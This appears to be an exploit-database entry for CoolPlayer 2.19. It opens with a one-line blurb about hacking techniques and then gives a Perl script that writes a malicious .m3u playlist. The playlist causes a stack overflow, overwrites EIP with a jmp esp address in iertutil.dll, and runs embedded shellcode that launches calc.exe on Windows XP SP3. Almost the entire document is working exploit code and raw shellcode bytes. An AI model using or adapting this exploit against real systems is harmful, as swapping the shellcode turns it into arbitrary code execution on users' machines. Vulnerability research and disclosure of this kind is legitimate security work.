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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: CoolPlayer (Standalone) build 2.19 - .m3u Stack Overflow
# Date: 22-03-2016
# Software Link: https://sourceforge.net/projects/coolplayer/files/Coolplayer/219/CoolPlayer219_Bin.zip
# Exploit Author: Charley Celice (stmerry)
# Contact: https://twitter.com/charleycelice
#
# Credits: Yet another exploit code for Coolplayer (Standalone). Slightly modified version. 
# * https://www.exploit-db.com/search/?action=search&description=coolplayer
#
# Category: Exploits
# Tested on: Windows XP SP3 EN
# Details: Stack overflow. Overwrite the EIP and point to ESP (iertutil.dll) to execute shellcode (calc.exe)

my $file= "exploit.m3u";
my $junk= "\x41" x 248;
my $eip= "\x97\x51\x08\x3e"; # jmp esp - iertutil.dll
my $nops = "\x90" x 10;

# shellcode (XP SP3 calc.exe)
my $shell = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . 
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
 
open($FILE,">$file");
print $FILE $junk.$eip.$nops.$shell;
close($FILE);
print "done\n";